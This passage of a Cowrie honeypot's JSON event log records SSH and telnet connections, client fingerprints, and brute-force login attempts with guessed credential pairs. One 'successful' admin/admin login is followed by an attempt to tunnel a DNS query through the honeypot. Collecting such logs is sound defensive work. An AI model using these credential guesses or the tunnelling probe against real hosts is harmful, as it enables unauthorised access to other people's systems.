9","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:50.234425Z","src_ip":"181.39.158.30","session":"6914783ad2cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"tester1234","message":"login attempt [test/tester1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:50.730393Z","src_ip":"181.39.158.30","session":"6914783ad2cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:51.850559Z","src_ip":"181.39.158.30","session":"6914783ad2cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.41143584251404,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:53.886173Z","src_ip":"174.138.46.234","session":"695df21a737d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":43264,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb42f2fbc22a","protocol":"telnet","message":"New connection: 217.182.190.44:43264 (10.17.0.5:23) [session: bb42f2fbc22a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:07.381037Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":47350,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a7ab5d67c8d","protocol":"telnet","message":"New connection: 217.182.190.44:47350 (10.17.0.5:23) [session: 5a7ab5d67c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:19.000504Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":39514,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4eac570d1ab","protocol":"ssh","message":"New connection: 14.248.83.33:39514 (159.203.135.109:22) [session: d4eac570d1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:37.959521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:37.964831Z","src_ip":"14.248.83.33","session":"d4eac570d1ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:38.218719Z","src_ip":"14.248.83.33","session":"d4eac570d1ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123123","message":"login attempt [root/admin@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:39.237303Z","src_ip":"14.248.83.33","session":"d4eac570d1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:40.497737Z","src_ip":"14.248.83.33","session":"d4eac570d1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.121883392333984,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:40.502763Z","src_ip":"217.182.190.44","session":"bb42f2fbc22a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33186,"dst_ip":"10.17.0.5","dst_port":22,"session":"552103b79915","protocol":"ssh","message":"New connection: 87.251.64.176:33186 (10.17.0.5:22) [session: 552103b79915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:47.729804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:47.734196Z","src_ip":"87.251.64.176","session":"552103b79915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:47.834126Z","src_ip":"87.251.64.176","session":"552103b79915","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:48.126077Z","src_ip":"87.251.64.176","session":"552103b79915","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:48.225177Z","session":"552103b79915","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:48.333475Z","src_ip":"87.251.64.176","session":"552103b79915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:48.431465Z","src_ip":"87.251.64.176","session":"552103b79915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":49328,"dst_ip":"159.203.135.109","dst_port":22,"session":"4538e27e278d","protocol":"ssh","message":"New connection: 181.39.158.30:49328 (159.203.135.109:22) [session: 4538e27e278d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:52.244771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:52.249269Z","src_ip":"181.39.158.30","session":"4538e27e278d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:52.367828Z","src_ip":"181.39.158.30","session":"4538e27e278d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.658337354660034,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:52.658500Z","src_ip":"217.182.190.44","session":"5a7ab5d67c8d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"t3st","message":"login attempt [ubuntu/t3st] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:52.878863Z","src_ip":"181.39.158.30","session":"4538e27e278d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:29:54.000021Z","src_ip":"181.39.158.30","session":"4538e27e278d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":64732,"dst_ip":"159.203.135.109","dst_port":22,"session":"b65dff3ebfb4","protocol":"ssh","message":"New connection: 14.248.83.33:64732 (159.203.135.109:22) [session: b65dff3ebfb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:30:37.850663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:30:37.856614Z","src_ip":"14.248.83.33","session":"b65dff3ebfb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:30:38.103677Z","src_ip":"14.248.83.33","session":"b65dff3ebfb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftp","message":"login attempt [ftptest/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:30:39.113453Z","src_ip":"14.248.83.33","session":"b65dff3ebfb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:30:40.361523Z","src_ip":"14.248.83.33","session":"b65dff3ebfb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":54308,"dst_ip":"159.203.135.109","dst_port":22,"session":"55f5f94e25e9","protocol":"ssh","message":"New connection: 181.39.158.30:54308 (159.203.135.109:22) [session: 55f5f94e25e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:30:52.595783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:30:52.600014Z","src_ip":"181.39.158.30","session":"55f5f94e25e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:30:52.716291Z","src_ip":"181.39.158.30","session":"55f5f94e25e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdasd","message":"login attempt [ubuntu/asdasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:30:53.214280Z","src_ip":"181.39.158.30","session":"55f5f94e25e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:30:54.333093Z","src_ip":"181.39.158.30","session":"55f5f94e25e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":59980,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd6538030216","protocol":"telnet","message":"New connection: 217.182.190.44:59980 (10.17.0.5:23) [session: bd6538030216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:18.990029Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52420,"dst_ip":"159.203.135.109","dst_port":23,"session":"07bbfe747c6e","protocol":"telnet","message":"New connection: 174.138.46.234:52420 (159.203.135.109:23) [session: 07bbfe747c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:36.298792Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52840,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2045f4070cb","protocol":"telnet","message":"New connection: 174.138.46.234:52840 (159.203.135.109:23) [session: f2045f4070cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:37.598867Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52656,"dst_ip":"159.203.135.109","dst_port":23,"session":"13afe2ec16dc","protocol":"telnet","message":"New connection: 174.138.46.234:52656 (159.203.135.109:23) [session: 13afe2ec16dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:37.992771Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":34992,"dst_ip":"159.203.135.109","dst_port":22,"session":"45a12479abe8","protocol":"ssh","message":"New connection: 14.248.83.33:34992 (159.203.135.109:22) [session: 45a12479abe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:39.513077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:39.517143Z","src_ip":"14.248.83.33","session":"45a12479abe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:39.780519Z","src_ip":"14.248.83.33","session":"45a12479abe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:40.864037Z","src_ip":"14.248.83.33","session":"45a12479abe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:42.128957Z","src_ip":"14.248.83.33","session":"45a12479abe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.100916385650635,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:42.399601Z","src_ip":"174.138.46.234","session":"07bbfe747c6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54440,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa3cf66b2aa","protocol":"telnet","message":"New connection: 174.138.46.234:54440 (159.203.135.109:23) [session: 4fa3cf66b2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:42.962513Z"}
{"eventid":"cowrie.session.closed","duration":5.046252489089966,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:43.038918Z","src_ip":"174.138.46.234","session":"13afe2ec16dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.88722562789917,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:44.485975Z","src_ip":"174.138.46.234","session":"f2045f4070cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9651362895965576,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:44.927522Z","src_ip":"174.138.46.234","session":"4fa3cf66b2aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":26714,"dst_ip":"159.203.135.109","dst_port":22,"session":"610187570b00","protocol":"ssh","message":"New connection: 181.39.158.30:26714 (159.203.135.109:22) [session: 610187570b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:51.391771Z"}
